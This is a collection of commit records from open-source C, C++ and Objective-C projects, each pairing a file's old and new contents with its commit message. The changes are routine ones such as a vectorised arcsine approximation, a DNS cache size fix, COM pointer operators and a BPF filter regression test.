{"commit":"c8801b3611431a17c12c8b0842230ff8cf31033f","old_file":"compiler\/native\/src\/class\/function_header.h","new_file":"compiler\/native\/src\/class\/function_header.h","old_contents":"namespace NJS::Class\n{\n\tclass Function\n\t{\n\tpublic:\n\t\tint cnt = 0;\n\t\tstring code = \"[native code]\";\n\t\tvoid Delete();\n\t\tFunction(void *_f);\n\t\tvoid *__NJS_VALUE;\n\t\tvector<pair<const char *, NJS::VAR>> __OBJECT;\n\t\ttemplate <class... Args>\n\t\tNJS::VAR operator()(Args... args);\n\t\texplicit NJS::Class::Function::operator std::string() const\n\t\t{\n\t\t\treturn \"function () { \" + code + \" }\";\n\t\t}\n\t};\n} \/\/ namespace NJS::CLASS","new_contents":"namespace NJS::Class\n{\n\tclass Function\n\t{\n\tpublic:\n\t\tint cnt = 0;\n\t\tstring code = \"[native code]\";\n\t\tvoid Delete();\n\t\tFunction(void *_f);\n\t\tvoid *__NJS_VALUE;\n\t\tvector<pair<const char *, NJS::VAR>> __OBJECT;\n\t\ttemplate <class... Args>\n\t\tNJS::VAR operator()(Args... args);\n\t\texplicit operator std::string() const\n\t\t{\n\t\t\treturn \"function () { \" + code + \" }\";\n\t\t}\n\t};\n} \/\/ namespace NJS::CLASS","subject":"Add function.toString() and source code if --debug","message":"Add function.toString() and source code if --debug\n","lang":"C","license":"mit","repos":"seraum\/nectarjs,seraum\/nectarjs,seraum\/nectarjs,seraum\/nectarjs,seraum\/nectarjs"}
{"commit":"653f37b8f1aa186ac1234e466dc5246ca34020d9","old_file":"webkit\/glue\/screen_info.h","new_file":"webkit\/glue\/screen_info.h","old_contents":"","new_contents":"\/\/ Copyright (c) 2008 The Chromium Authors. All rights reserved.  Use of this\n\/\/ source code is governed by a BSD-style license that can be found in the\n\/\/ LICENSE file.\n\n#ifndef WEBKIT_GLUE_SCREEN_INFO_H_\n#define WEBKIT_GLUE_SCREEN_INFO_H_\n\n#include \"base\/gfx\/rect.h\"\n\nnamespace webkit_glue {\n\nstruct ScreenInfo {\n  int depth;\n  int depth_per_component;\n  bool is_monochrome;\n  gfx::Rect rect;\n  gfx::Rect available_rect;\n};\n\n}  \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBKIT_GLUE_SCREEN_INFO_H_\n","subject":"Add missing file. Oops :(","message":"Add missing file.  Oops :(\n\nTBR=dglazkov\n\nReview URL: http:\/\/codereview.chromium.org\/8789\n\ngit-svn-id: http:\/\/src.chromium.org\/svn\/trunk\/src@4338 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n\nFormer-commit-id: 6520b60844230204cf736f17b814d95b6c0e249b","lang":"C","license":"bsd-3-clause","repos":"meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser"}
{"commit":"685cc22bc92f5b35c9ec6fcc7fe8e65bda3ecf1e","old_file":"src\/math\/p_asin.c","new_file":"src\/math\/p_asin.c","old_contents":"#include <pal.h>\n\n\/**\n *\n * Caclulates the inverse sine (arc sine) of the argument 'a'. Arguments must be\n * in the range -1 to 1. The function does not check for illegal input values.\n * Results are in the range -pi\/2 to pi\/2.\n *\n * @param a     Pointer to input vector\n *\n * @param c     Pointer to output vector\n *\n * @param n     Size of 'a' and 'c' vector.\n *\n * @return      None\n *\n *\/\n#include <math.h>\nvoid p_asin_f32(const float *a, float *c, int n)\n{\n\n    int i;\n    for (i = 0; i < n; i++) {\n        *(c + i) = asinf(*(a + i));\n    }\n}\n","new_contents":"#include <math.h>\n#include <pal.h>\n\nstatic const float pi_2 = (float) M_PI \/ 2.f;\n\n\/*\n * 0 <= x <= 1\n * asin x = pi\/2 - (1 - x)^(1\/2) * (a0 + a1 * x + ... + a3 * x^3) + e(x)\n * |e(x)| <= 5 * 10^-5\n *\/\nstatic inline float __p_asin_pos(const float x)\n{\n    const float a0 =  1.5707288f;\n    const float a1 = -0.2121144f;\n    const float a2 =  0.0742610f;\n    const float a3 = -0.0187293f;\n    float a_ = 1.f - x;\n    float a;\n    p_sqrt_f32(&a_, &a, 1);\n    return pi_2 - a * (a0 + a1 * x + a2 * x * x + a3 * x * x * x);\n}\n\n\/*\n * -1 <= x <= 1\n * asin(-x) = - asin x\n *\/\nstatic inline float _p_asin(const float x)\n{\n    if (x >= 0.f)\n        return __p_asin_pos(x);\n    else\n        return -1.f * __p_asin_pos(-x);\n}\n\n\/**\n *\n * Caclulates the inverse sine (arc sine) of the argument 'a'. Arguments must be\n * in the range -1 to 1. The function does not check for illegal input values.\n * Results are in the range -pi\/2 to pi\/2.\n *\n * @param a     Pointer to input vector\n *\n * @param c     Pointer to output vector\n *\n * @param n     Size of 'a' and 'c' vector.\n *\n * @return      None\n *\n *\/\nvoid p_asin_f32(const float *a, float *c, int n)\n{\n\n    int i;\n    for (i = 0; i < n; i++) {\n        c[i] = _p_asin(a[i]);\n    }\n}\n","subject":"Implement the inverse sine function.","message":"math:asin: Implement the inverse sine function.\n\nSigned-off-by: Mansour Moufid <ac5f6b12fab5e0d4efa7215e6c2dac9d55ab77dc@gmail.com>\n","lang":"C","license":"apache-2.0","repos":"debug-de-su-ka\/pal,8l\/pal,eliteraspberries\/pal,Adamszk\/pal3,8l\/pal,Adamszk\/pal3,Adamszk\/pal3,aolofsson\/pal,debug-de-su-ka\/pal,mateunho\/pal,parallella\/pal,parallella\/pal,8l\/pal,aolofsson\/pal,debug-de-su-ka\/pal,olajep\/pal,mateunho\/pal,8l\/pal,eliteraspberries\/pal,olajep\/pal,parallella\/pal,parallella\/pal,debug-de-su-ka\/pal,mateunho\/pal,parallella\/pal,debug-de-su-ka\/pal,Adamszk\/pal3,eliteraspberries\/pal,mateunho\/pal,aolofsson\/pal,eliteraspberries\/pal,olajep\/pal,olajep\/pal,eliteraspberries\/pal,aolofsson\/pal,mateunho\/pal"}
{"commit":"afaa27fd652fbc3555faa92f3e1e16957bafd751","old_file":"src\/_usage.h","new_file":"src\/_usage.h","old_contents":"","new_contents":"\/*\n * @file _usage.h\n * @brief standardize help\/usage output across all our programs\n * @internal\n *\n * Copyright 2007 Gentoo Foundation\n * Released under the GPLv2\n *\/\n\n#define getoptstring_COMMON \"Ch\"\n#define longopts_COMMON \\\n\t{ \"help\",           0, NULL, 'h'}, \\\n\t{ \"nocolor\",        0, NULL, 'C'},\n\n#define case_RC_COMMON_GETOPT \\\n\tcase 'C': setenv (\"RC_NOCOLOR\", \"yes\", 1); break; \\\n\tcase 'h': usage (EXIT_SUCCESS); \\\n\tdefault:  usage (EXIT_FAILURE);\n","subject":"Add --nocolor to more programs","message":"Add --nocolor to more programs\n\n","lang":"C","license":"bsd-2-clause","repos":"dwfreed\/openrc,OpenRC\/openrc,williamh\/openrc,williamh\/openrc,williamh\/openrc,OpenRC\/openrc,dwfreed\/openrc,dwfreed\/openrc,OpenRC\/openrc"}
{"commit":"70c33ced375baeccbb500446a861c7a61d04abc2","old_file":"tools\/regression\/bpf\/bpf_filter\/tests\/test0083.h","new_file":"tools\/regression\/bpf\/bpf_filter\/tests\/test0083.h","old_contents":"\/*-\n * Test 0083:\tCheck that the last instruction is BPF_RET.\n *\n * $FreeBSD$\n *\/\n\n\/* BPF program *\/\nstruct bpf_insn pc[] = {\n\tBPF_JUMP(BPF_JMP+BPF_JA, 0, 0, 0),\n};\n\n\/* Packet *\/\nu_char\tpkt[] = {\n\t0x00,\n};\n\n\/* Packet length seen on wire *\/\nu_int\twirelen =\tsizeof(pkt);\n\n\/* Packet length passed on buffer *\/\nu_int\tbuflen =\tsizeof(pkt);\n\n\/* Invalid instruction *\/\nint\tinvalid =\t1;\n\n\/* Expected return value *\/\nu_int\texpect =\t0;\n\n\/* Expected signal *\/\n#ifdef BPF_JIT_COMPILER\nint\texpect_signal =\tSIGSEGV;\n#else\nint\texpect_signal =\tSIGABRT;\n#endif\n","new_contents":"\/*-\n * Test 0083:\tCheck that the last instruction is BPF_RET.\n *\n * $FreeBSD$\n *\/\n\n\/* BPF program *\/\nstruct bpf_insn pc[] = {\n\tBPF_STMT(BPF_LD|BPF_IMM, 0),\n};\n\n\/* Packet *\/\nu_char\tpkt[] = {\n\t0x00,\n};\n\n\/* Packet length seen on wire *\/\nu_int\twirelen =\tsizeof(pkt);\n\n\/* Packet length passed on buffer *\/\nu_int\tbuflen =\tsizeof(pkt);\n\n\/* Invalid instruction *\/\nint\tinvalid =\t1;\n\n\/* Expected return value *\/\nu_int\texpect =\t0;\n\n\/* Expected signal *\/\n#ifdef BPF_JIT_COMPILER\nint\texpect_signal =\tSIGSEGV;\n#else\nint\texpect_signal =\tSIGABRT;\n#endif\n","subject":"Adjust a test case and make it more jump optimization neutral for JIT case.","message":"Adjust a test case and make it more jump optimization neutral for JIT case.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"ce580a9f30cc5d4058cb650498efe21b63f39d65","old_file":"src\/toolbox\/tbx\/dns_cache.h","new_file":"src\/toolbox\/tbx\/dns_cache.h","old_contents":"\/*\n   Copyright 2016 Vanderbilt University\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n*\/\n\n#pragma once\n#ifndef ACCRE_DNS_CACHE_H_INCLUDED\n#define ACCRE_DNS_CACHE_H_INCLUDED\n\n#include \"tbx\/toolbox_visibility.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/\/ Functions\nTBX_API int tbx_dnsc_lookup(const char * name, char * byte_addr, char * ip_addr);\nTBX_API int tbx_dnsc_shutdown();\nTBX_API int tbx_dnsc_startup();\nTBX_API int tbx_dnsc_startup_sized(int size);\n\n\/\/ Preprocessor macros\n#define DNS_ADDR_MAX 4\n#define DNS_IPV4  0\n#define DNS_IPV6  1\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","new_contents":"\/*\n   Copyright 2016 Vanderbilt University\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n*\/\n\n#pragma once\n#ifndef ACCRE_DNS_CACHE_H_INCLUDED\n#define ACCRE_DNS_CACHE_H_INCLUDED\n\n#include \"tbx\/toolbox_visibility.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/\/ Functions\nTBX_API int tbx_dnsc_lookup(const char * name, char * byte_addr, char * ip_addr);\nTBX_API int tbx_dnsc_shutdown();\nTBX_API int tbx_dnsc_startup();\nTBX_API int tbx_dnsc_startup_sized(int size);\n\n\/\/ Preprocessor macros\n#define DNS_ADDR_MAX 16\n#define DNS_IPV4  0\n#define DNS_IPV6  1\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Add enough space in DNS cache for IPV6","message":"Add enough space in DNS cache for IPV6\n\nWe have code supporting IPV6, but the structs only have enough space for\nIPV4.\n","lang":"C","license":"apache-2.0","repos":"PerilousApricot\/lstore,accre\/lstore,accre\/lstore,PerilousApricot\/lstore,tacketar\/lstore,tacketar\/lstore,PerilousApricot\/lstore,accre\/lstore,tacketar\/lstore,accre\/lstore,tacketar\/lstore,PerilousApricot\/lstore"}
{"commit":"70beeb5a61cbf12a59000c8fd1e56c638e3a6aa4","old_file":"src\/hardware_dep\/dpdk\/data_plane\/dpdkx_hash.c","new_file":"src\/hardware_dep\/dpdk\/data_plane\/dpdkx_hash.c","old_contents":"\/\/ SPDX-License-Identifier: Apache-2.0\n\/\/ Copyright 2021 Eotvos Lorand University, Budapest, Hungary\n\n#include \"dpdk_model_v1model.h\"\n#include \"util_packet.h\"\n#include \"util_debug.h\"\n\n#include \"dpdk_lib.h\"\n#include \"stateful_memory.h\"\n\n#include <rte_ip.h>\n\nvoid hash(uint16_t* result, enum_HashAlgorithm_t hash, uint16_t base, uint8_buffer_t data, uint32_t max, SHORT_STDPARAMS) {\n    debug(\"    : Executing hash\\n\");\n}\n","new_contents":"\/\/ SPDX-License-Identifier: Apache-2.0\n\/\/ Copyright 2021 Eotvos Lorand University, Budapest, Hungary\n\n#include \"dpdk_model_v1model.h\"\n#include \"util_packet.h\"\n#include \"util_debug.h\"\n\n#include \"dpdk_lib.h\"\n#include \"stateful_memory.h\"\n\n#include \"rte_hash_crc.h\"\n\n#include <rte_ip.h>\n\nvoid hash(uint16_t* result, enum_HashAlgorithm_t hash, uint16_t base, uint8_buffer_t data, uint32_t max, SHORT_STDPARAMS) {\n    debug(\"    : Executing hash\\n\");\n    dbg_bytes(data.buffer, data.buffer_size, \"        Input: \" T4LIT(%d) \" bytes: \", data.buffer_size);\n    if (hash == enum_HashAlgorithm_crc32){\n        uint32_t crc32_result = rte_hash_crc(data.buffer, data.buffer_size, 0xffffffff);\n        memcpy(result, &crc32_result, 4);\n    }\n    else if (hash == enum_HashAlgorithm_identity) {\n        memcpy(result, data.buffer, data.buffer_size > 8 ? 8 : data.buffer_size);\n    }\n    else {\n        debug(\"    : Unkown hashing method!\\n\");\n    }\n    dbg_bytes(result, 4, \"        Result:\");\n}\n","subject":"Add crc32 and identity hash functions","message":"Add crc32 and identity hash functions\n","lang":"C","license":"apache-2.0","repos":"P4ELTE\/t4p4s,P4ELTE\/t4p4s,P4ELTE\/t4p4s"}
{"commit":"fd5beb9c4c2d17aecd6ef51810b447c22580b187","old_file":"Josh_Zane_Sebastian\/src\/interpreter\/interpreter.c","new_file":"Josh_Zane_Sebastian\/src\/interpreter\/interpreter.c","old_contents":"","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\nvoid runStep(struct stack_node node, struct stack_node *top) {\n  switch( node.data.type ) {\n  case 0:\n    struct stack_node push;\n    push.cdr = top;\n    push.data = node.data;\n    *top = push;\n    break;\n  }\n}\n","subject":"Add support for pushing ints to the stack.","message":"Add support for pushing ints to the stack.\n","lang":"C","license":"mit","repos":"aacoppa\/final,aacoppa\/final"}
{"commit":"5609a9640f7c76ebd9374f0d8bc24417314d94d2","old_file":"c\/src\/base\/ByteProducer.c","new_file":"c\/src\/base\/ByteProducer.c","old_contents":"","new_contents":"#include \"ByteProducer.h\"\n\nstatic void _start (struct ByteProducerInternal *self, struct ByteListenerInternal *listener) {\n  ByteProducer *producer = (ByteProducer *) self;\n  producer->start (producer, (ByteListener *) listener);\n}\nstatic void _stop (struct ByteProducerInternal *self) {\n  ByteProducer *producer = (ByteProducer *) self;\n  producer->stop (producer);\n};\n\nByteProducer *byte_producer_create (byte_producer_start start, byte_producer_stop stop) {\n  ByteProducer *producer = xmalloc (sizeof (ByteProducer));\n  producer->start = start;\n  producer->stop = stop;\n  producer->_start = _start;\n  producer->_stop = _stop;\n  return producer;\n}","subject":"Add a factory for Producer<Byte>","message":"Add a factory for Producer<Byte>\n","lang":"C","license":"mit","repos":"artfuldev\/RIoT"}
{"commit":"128380f9f4693249367c5b34ea67507fd2e822c5","old_file":"src\/ext\/mruby_UI_control_hierarchy.c","new_file":"src\/ext\/mruby_UI_control_hierarchy.c","old_contents":"{\n  struct RClass *Control_class = mrb_define_class_under(mrb, UI_module(mrb), \"Control\", mrb->object_class);\n#define CONTROL_SUBCLASS(name) { struct RClass* subclass = mrb_define_class_under(mrb, UI_module(mrb), #name, Control_class); }\n  CONTROL_SUBCLASS(Area)\n  CONTROL_SUBCLASS(Box)\n  CONTROL_SUBCLASS(Button)\n  CONTROL_SUBCLASS(Checkbox)\n  CONTROL_SUBCLASS(ColorButton)\n  CONTROL_SUBCLASS(Combobox)\n  CONTROL_SUBCLASS(DateTimePicker)\n  CONTROL_SUBCLASS(EditableCombobox)\n  CONTROL_SUBCLASS(Entry)\n  CONTROL_SUBCLASS(FontButton)\n  CONTROL_SUBCLASS(Form)\n  CONTROL_SUBCLASS(Grid)\n  CONTROL_SUBCLASS(Group)\n  CONTROL_SUBCLASS(Label)\n  CONTROL_SUBCLASS(MultilineEntry)\n  CONTROL_SUBCLASS(ProgressBar)\n  CONTROL_SUBCLASS(RadioButtons)\n  CONTROL_SUBCLASS(Separator)\n  CONTROL_SUBCLASS(Slider)\n  CONTROL_SUBCLASS(Spinbox)\n  CONTROL_SUBCLASS(Tab)\n  CONTROL_SUBCLASS(Window)\n#undef CONTROL_SUBCLASS\n}\n","new_contents":"{\n  struct RClass *Control_class = mrb_define_class_under(mrb, UI_module(mrb), \"Control\", mrb->object_class);\n#define CONTROL_SUBCLASS(name) { mrb_define_class_under(mrb, UI_module(mrb), #name, Control_class); }\n  CONTROL_SUBCLASS(Area)\n  CONTROL_SUBCLASS(Box)\n  CONTROL_SUBCLASS(Button)\n  CONTROL_SUBCLASS(Checkbox)\n  CONTROL_SUBCLASS(ColorButton)\n  CONTROL_SUBCLASS(Combobox)\n  CONTROL_SUBCLASS(DateTimePicker)\n  CONTROL_SUBCLASS(EditableCombobox)\n  CONTROL_SUBCLASS(Entry)\n  CONTROL_SUBCLASS(FontButton)\n  CONTROL_SUBCLASS(Form)\n  CONTROL_SUBCLASS(Grid)\n  CONTROL_SUBCLASS(Group)\n  CONTROL_SUBCLASS(Label)\n  CONTROL_SUBCLASS(MultilineEntry)\n  CONTROL_SUBCLASS(ProgressBar)\n  CONTROL_SUBCLASS(RadioButtons)\n  CONTROL_SUBCLASS(Separator)\n  CONTROL_SUBCLASS(Slider)\n  CONTROL_SUBCLASS(Spinbox)\n  CONTROL_SUBCLASS(Tab)\n  CONTROL_SUBCLASS(Window)\n#undef CONTROL_SUBCLASS\n}\n","subject":"Address compiler warning - unused variable","message":"Address compiler warning - unused variable\n","lang":"C","license":"mit","repos":"jbreeden\/mruby-ui,jbreeden\/mruby-ui,jbreeden\/mruby-ui"}
{"commit":"7bc887f8c78d37decdb91612decd7dfd463c9727","old_file":"UIColor-Expanded.h","new_file":"UIColor-Expanded.h","old_contents":"#import <UIKit\/UIKit.h>\n\n#define SUPPORTS_UNDOCUMENTED_API\t1\n\n@interface UIColor (expanded)\n- (CGColorSpaceModel) colorSpaceModel;\n- (NSString *) colorSpaceString;\n\n- (BOOL) canProvideRGBComponents;\n- (NSArray *) arrayFromRGBAComponents;\n- (CGFloat) red;\n- (CGFloat) blue;\n- (CGFloat) green;\n- (CGFloat) alpha;\n\n- (NSString *) stringFromColor;\n- (NSString *) hexStringFromColor;\n\n#if SUPPORTS_UNDOCUMENTED_API\n\/\/ Optional Undocumented API calls\n- (NSString *) fetchStyleString;\n- (UIColor *) rgbColor; \/\/ Via Poltras\n#endif\n\n+ (UIColor *) colorWithString: (NSString *) stringToConvert;\n+ (UIColor *) colorWithHexString: (NSString *) stringToConvert;\n\n@property (readonly)\tCGFloat red;\n@property (readonly)\tCGFloat green;\n@property (readonly)\tCGFloat blue;\n@property (readonly)\tCGFloat alpha;\n@end\n","new_contents":"#import <UIKit\/UIKit.h>\n\n#define SUPPORTS_UNDOCUMENTED_API\t1\n\n@interface UIColor (expanded)\n- (CGColorSpaceModel) colorSpaceModel;\n- (NSString *) colorSpaceString;\n\n- (BOOL) canProvideRGBComponents;\n- (NSArray *) arrayFromRGBAComponents;\n- (CGFloat) red;\n- (CGFloat) blue;\n- (CGFloat) green;\n- (CGFloat) alpha;\n\n- (NSString *) stringFromColor;\n- (NSString *) hexStringFromColor;\n\n#if SUPPORTS_UNDOCUMENTED_API\n\/\/ Optional Undocumented API calls\n- (NSString *) fetchStyleString;\n- (UIColor *) rgbColor; \/\/ Via Poltras\n#endif\n\n+ (UIColor *) colorWithString: (NSString *) stringToConvert;\n+ (UIColor *) colorWithHexString: (NSString *) stringToConvert;\n\n@property (nonatomic, readonly)\tCGFloat red;\n@property (nonatomic, readonly)\tCGFloat green;\n@property (nonatomic, readonly)\tCGFloat blue;\n@property (nonatomic, readonly)\tCGFloat alpha;\n@end\n","subject":"Declare the properties as nonatomic","message":"Declare the properties as nonatomic\n","lang":"C","license":"bsd-3-clause","repos":"fcanas\/uicolor-utilities"}
{"commit":"12dea43b35daf92a6087f3a980aff767ac0b7043","old_file":"base\/win\/comptr.h","new_file":"base\/win\/comptr.h","old_contents":"\/\/ LAF Base Library\n\/\/ Copyright (c) 2017 David Capello\n\/\/\n\/\/ This file is released under the terms of the MIT license.\n\/\/ Read LICENSE.txt for more information.\n\n#ifndef BASE_WIN_COMPTR_H_INCLUDED\n#define BASE_WIN_COMPTR_H_INCLUDED\n#pragma once\n\n#if !defined(_WIN32)\n  #error This header file can be used only on Windows platform\n#endif\n\n#include \"base\/disable_copying.h\"\n\nnamespace base {\n\n  template<class T>\n  class ComPtr {\n  public:\n    ComPtr() : m_ptr(nullptr) { }\n    ~ComPtr() { reset(); }\n    T** operator&() { return &m_ptr; }\n    T* operator->() { return m_ptr; }\n\n    T* get() {\n      return m_ptr;\n    }\n\n    void reset() {\n      if (m_ptr) {\n        m_ptr->Release();\n        m_ptr = nullptr;\n      }\n    }\n\n  private:\n    T* m_ptr;\n\n    DISABLE_COPYING(ComPtr);\n  };\n\n} \/\/ namespace base\n\n#endif\n","new_contents":"\/\/ LAF Base Library\n\/\/ Copyright (c) 2021 Igara Studio S.A.\n\/\/ Copyright (c) 2017 David Capello\n\/\/\n\/\/ This file is released under the terms of the MIT license.\n\/\/ Read LICENSE.txt for more information.\n\n#ifndef BASE_WIN_COMPTR_H_INCLUDED\n#define BASE_WIN_COMPTR_H_INCLUDED\n#pragma once\n\n#if !defined(_WIN32)\n  #error This header file can be used only on Windows platform\n#endif\n\n#include <algorithm>\n\nnamespace base {\n\n  template<class T>\n  class ComPtr {\n  public:\n    ComPtr() : m_ptr(nullptr) {\n    }\n\n    ComPtr<T>(const ComPtr<T>& p) : m_ptr(p.m_ptr) {\n      if (m_ptr)\n        m_ptr->AddRef();\n    }\n\n    ComPtr(ComPtr&& tmp) {\n      std::swap(m_ptr, tmp.m_ptr);\n    }\n\n    ~ComPtr() {\n      reset();\n    }\n\n    T** operator&() { return &m_ptr; }\n    T* operator->() { return m_ptr; }\n    operator bool() const { return m_ptr != nullptr; }\n\n    \/\/ Add new reference using operator=()\n    ComPtr<T>& operator=(const ComPtr<T>& p) {\n      if (m_ptr)\n        m_ptr->Release();\n      m_ptr = p.m_ptr;\n      if (m_ptr)\n        m_ptr->AddRef();\n      return *this;\n    }\n\n    ComPtr& operator=(std::nullptr_t) {\n      reset();\n      return *this;\n    }\n\n    T* get() {\n      return m_ptr;\n    }\n\n    void reset() {\n      if (m_ptr) {\n        m_ptr->Release();\n        m_ptr = nullptr;\n      }\n    }\n\n  private:\n    T* m_ptr;\n  };\n\n} \/\/ namespace base\n\n#endif\n","subject":"Add some extra operators to base::ComPtr","message":"[win] Add some extra operators to base::ComPtr\n","lang":"C","license":"mit","repos":"aseprite\/laf,aseprite\/laf"}
{"commit":"22513d07f2818c3697bbb8db64708a1a7258745c","old_file":"tests\/vio_tests\/check_vio.c","new_file":"tests\/vio_tests\/check_vio.c","old_contents":"","new_contents":"#define _GNU_SOURCE \/* asprintf *\/\n#include <string.h>\n\n#include \"support.h\"\n\n#include \"csync_private.h\"\n#include \"vio\/csync_vio.h\"\n\nCSYNC *csync;\n\nstatic void setup(void) {\n  csync_create(&csync);\n  csync_init(csync);\n}\n\nstatic void teardown(void) {\n  csync_destroy(csync);\n}\n\nSTART_TEST (check_csync_vio_load)\n{\n  fail_unless(csync_vio_init(csync, \"smb\", NULL) == 0, NULL);\n\n  csync_vio_shutdown(csync);\n}\nEND_TEST\n\nstatic Suite *csync_vio_suite(void) {\n  Suite *s = suite_create(\"csync_vio\");\n\n  create_case_fixture(s, \"check_csync_vio_load\", check_csync_vio_load, setup, teardown);\n\n  return s;\n}\n\nint main(void) {\n  int nf;\n\n  Suite *s = csync_vio_suite();\n\n  SRunner *sr;\n  sr = srunner_create(s);\n#if 0\n  srunner_set_fork_status(sr, CK_NOFORK);\n#endif\n  srunner_run_all(sr, CK_VERBOSE);\n  nf = srunner_ntests_failed(sr);\n  srunner_free(sr);\n\n  return (nf == 0) ? EXIT_SUCCESS : EXIT_FAILURE;\n}\n\n","subject":"Add test for loading the module.","message":"Add test for loading the module.\n","lang":"C","license":"lgpl-2.1","repos":"gco\/csync,meeh420\/csync,gco\/csync,gco\/csync,meeh420\/csync,gco\/csync,meeh420\/csync"}
{"commit":"8ef7b8f1894730da660155b00e2c3b4e394ed4d7","old_file":"src\/id.h","new_file":"src\/id.h","old_contents":"extern void change_id(const char *string);\n","new_contents":"\/*=============================================================================\n\nCopyright 2008 Francois Laupretre (francois@tekwire.net)\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n=============================================================================*\/\n\n#ifndef __ID_H\n#define __ID_H\n\n\/*----------------------------------------------*\/\n\nextern void change_id(const char *string);\n\n\/*----------------------------------------------*\/\n#endif\t\/* __ID_H *\/\n","subject":"Add copyright banner to source file","message":"Add copyright banner to source file\n","lang":"C","license":"apache-2.0","repos":"flaupretre\/managelogs,flaupretre\/managelogs"}
{"commit":"412bbb8121b91e7447b05839df64b526edec2786","old_file":"event\/timeout_queue.h","new_file":"event\/timeout_queue.h","old_contents":"#ifndef\tTIMEOUT_QUEUE_H\n#define\tTIMEOUT_QUEUE_H\n\n#include <map>\n\nclass TimeoutQueue {\n\ttypedef std::map<NanoTime, CallbackQueue> timeout_map_t;\n\n\tLogHandle log_;\n\ttimeout_map_t timeout_queue_;\npublic:\n\tTimeoutQueue(void)\n\t: log_(\"\/event\/timeout\/queue\"),\n\t  timeout_queue_()\n\t{ }\n\n\t~TimeoutQueue()\n\t{ }\n\n\tbool empty(void) const\n\t{\n\t\ttimeout_map_t::const_iterator it;\n\n\t\t\/*\n\t\t * Since we allow elements within each CallbackQueue to be\n\t\t * cancelled, we must scan them.\n\t\t *\n\t\t * XXX\n\t\t * We really shouldn't allow this, even if it means we have\n\t\t * to specialize CallbackQueue for this purpose or add\n\t\t * virtual methods to it.  As it is, we can return true\n\t\t * for empty and for ready at the same time.  And in those\n\t\t * cases we have to call perform to garbage collect the\n\t\t * unused CallbackQueues.  We'll, quite conveniently,\n\t\t * never make that call.  Yikes.\n\t\t *\/\n\t\tfor (it = timeout_queue_.begin(); it != timeout_queue_.end(); ++it) {\n\t\t\tif (it->second.empty())\n\t\t\t\tcontinue;\n\t\t\treturn (false);\n\t\t}\n\t\treturn (true);\n\t}\n\n\tAction *append(uintmax_t, SimpleCallback *);\n\tuintmax_t interval(void) const;\n\tvoid perform(void);\n\tbool ready(void) const;\n};\n\n#endif \/* !TIMEOUT_QUEUE_H *\/\n","new_contents":"#ifndef\tTIMEOUT_QUEUE_H\n#define\tTIMEOUT_QUEUE_H\n\n#include <map>\n\n#include <common\/time\/time.h>\n\nclass TimeoutQueue {\n\ttypedef std::map<NanoTime, CallbackQueue> timeout_map_t;\n\n\tLogHandle log_;\n\ttimeout_map_t timeout_queue_;\npublic:\n\tTimeoutQueue(void)\n\t: log_(\"\/event\/timeout\/queue\"),\n\t  timeout_queue_()\n\t{ }\n\n\t~TimeoutQueue()\n\t{ }\n\n\tbool empty(void) const\n\t{\n\t\ttimeout_map_t::const_iterator it;\n\n\t\t\/*\n\t\t * Since we allow elements within each CallbackQueue to be\n\t\t * cancelled, we must scan them.\n\t\t *\n\t\t * XXX\n\t\t * We really shouldn't allow this, even if it means we have\n\t\t * to specialize CallbackQueue for this purpose or add\n\t\t * virtual methods to it.  As it is, we can return true\n\t\t * for empty and for ready at the same time.  And in those\n\t\t * cases we have to call perform to garbage collect the\n\t\t * unused CallbackQueues.  We'll, quite conveniently,\n\t\t * never make that call.  Yikes.\n\t\t *\/\n\t\tfor (it = timeout_queue_.begin(); it != timeout_queue_.end(); ++it) {\n\t\t\tif (it->second.empty())\n\t\t\t\tcontinue;\n\t\t\treturn (false);\n\t\t}\n\t\treturn (true);\n\t}\n\n\tAction *append(uintmax_t, SimpleCallback *);\n\tuintmax_t interval(void) const;\n\tvoid perform(void);\n\tbool ready(void) const;\n};\n\n#endif \/* !TIMEOUT_QUEUE_H *\/\n","subject":"Use new NanoTime location header, oops.","message":"Use new NanoTime location header, oops.\n\n\ngit-svn-id: 9e2532540f1574e817ce42f20b9d0fb64899e451@799 